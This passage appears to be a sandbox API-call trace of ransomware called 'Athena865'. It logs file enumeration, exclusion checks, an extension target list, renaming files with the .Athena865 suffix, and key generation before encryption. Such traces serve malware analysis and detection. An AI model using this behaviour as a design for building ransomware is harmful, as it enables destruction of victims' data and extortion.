(lpString="ipsdeu.xml") returned 10 [0110.017] lstrlenW (lpString="bak") returned 3 [0110.017] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.017] lstrlenW (lpString="ba_") returned 3 [0110.017] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.017] lstrlenW (lpString="dbb") returned 3 [0110.017] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.017] lstrlenW (lpString="vmdk") returned 4 [0110.017] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.017] lstrlenW (lpString="rar") returned 3 [0110.017] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.017] lstrlenW (lpString="zip") returned 3 [0110.017] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.018] lstrlenW (lpString="tgz") returned 3 [0110.018] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.018] lstrlenW (lpString="vbox") returned 4 [0110.018] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.018] lstrlenW (lpString="vdi") returned 3 [0110.018] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.018] lstrlenW (lpString="vhd") returned 3 [0110.018] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.018] lstrlenW (lpString="vhdx") returned 4 [0110.018] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.018] lstrlenW (lpString="avhd") returned 4 [0110.018] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.018] lstrlenW (lpString="db") returned 2 [0110.018] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.018] lstrlenW (lpString="db2") returned 3 [0110.018] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.018] lstrlenW (lpString="db3") returned 3 [0110.018] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.018] lstrlenW (lpString="dbf") returned 3 [0110.018] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.018] lstrlenW (lpString="mdf") returned 3 [0110.018] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.018] lstrlenW (lpString="mdb") returned 3 [0110.018] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.018] lstrlenW (lpString="sql") returned 3 [0110.018] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.018] lstrlenW (lpString="sqlite") returned 6 [0110.018] lstrcmpiW (lpString1="eu.xml", lpString2="sqlite") returned -1 [0110.018] lstrlenW (lpString="sqlite3") returned 7 [0110.019] lstrcmpiW (lpString1="deu.xml", lpString2="sqlite3") returned -1 [0110.019] lstrlenW (lpString="sqlitedb") returned 8 [0110.019] lstrcmpiW (lpString1="sdeu.xml", lpString2="sqlitedb") returned -1 [0110.019] lstrlenW (lpString="xml") returned 3 [0110.019] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.019] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.Athena865") returned 71 [0110.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.athena865"), dwFlags=0x1) returned 1 [0110.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.020] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2616) returned 1 [0110.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.020] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.021] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.021] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.021] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x17c [0110.023] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000 [0110.023] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.024] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.024] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.025] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.025] CloseHandle (hObject=0x17c) returned 1 [0110.025] CloseHandle (hObject=0x154) returned 1 [0110.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.025] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0110.025] lstrcmpiW (lpString1="ipsen.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2=".") returned 1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="..") returned 1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="windows") returned -1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="bootmgr") returned 1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="temp") returned -1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="pagefile.sys") returned -1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="boot") returned 1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="ids.txt") returned 1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="ntuser.dat") returned -1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="perflogs") returned -1 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2="MSBuild") returned -1 [0110.026] lstrlenW (lpString="ipsen.xml") returned 9 [0110.026] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsen.xml" | out: lpString1="ipsen.xml") returned="ipsen.xml" [0110.026] lstrlenW (lpString="ipsen.xml") returned 9 [0110.026] lstrlenW (lpString="Athena865") returned 9 [0110.026] lstrlenW (lpString=".dll") returned 4 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2=".dll") returned 1 [0110.026] lstrlenW (lpString=".lnk") returned 4 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2=".lnk") returned 1 [0110.026] lstrlenW (lpString=".ini") returned 4 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2=".ini") returned 1 [0110.026] lstrlenW (lpString=".sys") returned 4 [0110.026] lstrcmpiW (lpString1="ipsen.xml", lpString2=".sys") returned 1 [0110.026] lstrlenW (lpString="ipsen.xml") returned 9 [0110.026] lstrlenW (lpString="bak") returned 3 [0110.026] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.026] lstrlenW (lpString="ba_") returned 3 [0110.026] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.027] lstrlenW (lpString="dbb") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.027] lstrlenW (lpString="vmdk") returned 4 [0110.027] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.027] lstrlenW (lpString="rar") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.027] lstrlenW (lpString="zip") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.027] lstrlenW (lpString="tgz") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.027] lstrlenW (lpString="vbox") returned 4 [0110.027] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.027] lstrlenW (lpString="vdi") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.027] lstrlenW (lpString="vhd") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.027] lstrlenW (lpString="vhdx") returned 4 [0110.027] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.027] lstrlenW (lpString="avhd") returned 4 [0110.027] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.027] lstrlenW (lpString="db") returned 2 [0110.027] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.027] lstrlenW (lpString="db2") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.027] lstrlenW (lpString="db3") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.027] lstrlenW (lpString="dbf") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.027] lstrlenW (lpString="mdf") returned 3 [0110.027] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.028] lstrlenW (lpString="mdb") returned 3 [0110.028] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.028] lstrlenW (lpString="sql") returned 3 [0110.028] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.028] lstrlenW (lpString="sqlite") returned 6 [0110.028] lstrcmpiW (lpString1="en.xml", lpString2="sqlite") returned -1 [0110.028] lstrlenW (lpString="sqlite3") returned 7 [0110.028] lstrcmpiW (lpString1="sen.xml", lpString2="sqlite3") returned -1 [0110.028] lstrlenW (lpString="sqlitedb") returned 8 [0110.028] lstrcmpiW (lpString1="psen.xml", lpString2="sqlitedb") returned -1 [0110.028] lstrlenW (lpString="xml") returned 3 [0110.028] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.028] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.Athena865") returned 70 [0110.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.athena865"), dwFlags=0x1) returned 1 [0110.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.030] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2578) returned 1 [0110.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.030] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.031] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.031] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.031] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x17c [0110.033] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x100000 [0110.033] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.034] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.034] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.035] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.035] CloseHandle (hObject=0x17c) returned 1 [0110.035] CloseHandle (hObject=0x154) returned 1 [0110.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.035] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".") returned 1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="..") returned 1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="windows") returned -1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="bootmgr") returned 1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="temp") returned -1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="pagefile.sys") returned -1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="boot") returned 1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="ids.txt") returned 1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="ntuser.dat") returned -1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="perflogs") returned -1 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2="MSBuild") returned -1 [0110.036] lstrlenW (lpString="ipsesp.xml") returned 10 [0110.036] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsesp.xml" | out: lpString1="ipsesp.xml") returned="ipsesp.xml" [0110.036] lstrlenW (lpString="ipsesp.xml") returned 10 [0110.036] lstrlenW (lpString="Athena865") returned 9 [0110.036] lstrcmpiW (lpString1="psesp.xml", lpString2="Athena865") returned 1 [0110.036] lstrlenW (lpString=".dll") returned 4 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".dll") returned 1 [0110.036] lstrlenW (lpString=".lnk") returned 4 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".lnk") returned 1 [0110.036] lstrlenW (lpString=".ini") returned 4 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".ini") returned 1 [0110.036] lstrlenW (lpString=".sys") returned 4 [0110.036] lstrcmpiW (lpString1="ipsesp.xml", lpString2=".sys") returned 1 [0110.036] lstrlenW (lpString="ipsesp.xml") returned 10 [0110.036] lstrlenW (lpString="bak") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.037] lstrlenW (lpString="ba_") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.037] lstrlenW (lpString="dbb") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.037] lstrlenW (lpString="vmdk") returned 4 [0110.037] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.037] lstrlenW (lpString="rar") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.037] lstrlenW (lpString="zip") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.037] lstrlenW (lpString="tgz") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.037] lstrlenW (lpString="vbox") returned 4 [0110.037] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.037] lstrlenW (lpString="vdi") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.037] lstrlenW (lpString="vhd") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.037] lstrlenW (lpString="vhdx") returned 4 [0110.037] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.037] lstrlenW (lpString="avhd") returned 4 [0110.037] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.037] lstrlenW (lpString="db") returned 2 [0110.037] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.037] lstrlenW (lpString="db2") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.037] lstrlenW (lpString="db3") returned 3 [0110.037] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.038] lstrlenW (lpString="dbf") returned 3 [0110.038] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.038] lstrlenW (lpString="mdf") returned 3 [0110.038] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.038] lstrlenW (lpString="mdb") returned 3 [0110.038] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.038] lstrlenW (lpString="sql") returned 3 [0110.038] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.038] lstrlenW (lpString="sqlite") returned 6 [0110.038] lstrcmpiW (lpString1="sp.xml", lpString2="sqlite") returned -1 [0110.038] lstrlenW (lpString="sqlite3") returned 7 [0110.038] lstrcmpiW (lpString1="esp.xml", lpString2="sqlite3") returned -1 [0110.038] lstrlenW (lpString="sqlitedb") returned 8 [0110.038] lstrcmpiW (lpString1="sesp.xml", lpString2="sqlitedb") returned -1 [0110.038] lstrlenW (lpString="xml") returned 3 [0110.038] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.038] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.Athena865") returned 71 [0110.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.athena865"), dwFlags=0x1) returned 1 [0110.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.039] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3024) returned 1 [0110.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.040] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.041] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.041] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.041] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed0, lpName=0x0) returned 0x17c [0110.042] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xed0) returned 0x100000 [0110.043] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.043] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.043] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.044] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.044] CloseHandle (hObject=0x17c) returned 1 [0110.044] CloseHandle (hObject=0x154) returned 1 [0110.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.045] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".") returned 1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="..") returned 1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="windows") returned -1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="bootmgr") returned 1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="temp") returned -1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="pagefile.sys") returned -1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="boot") returned 1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="ids.txt") returned 1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="ntuser.dat") returned -1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="perflogs") returned -1 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", 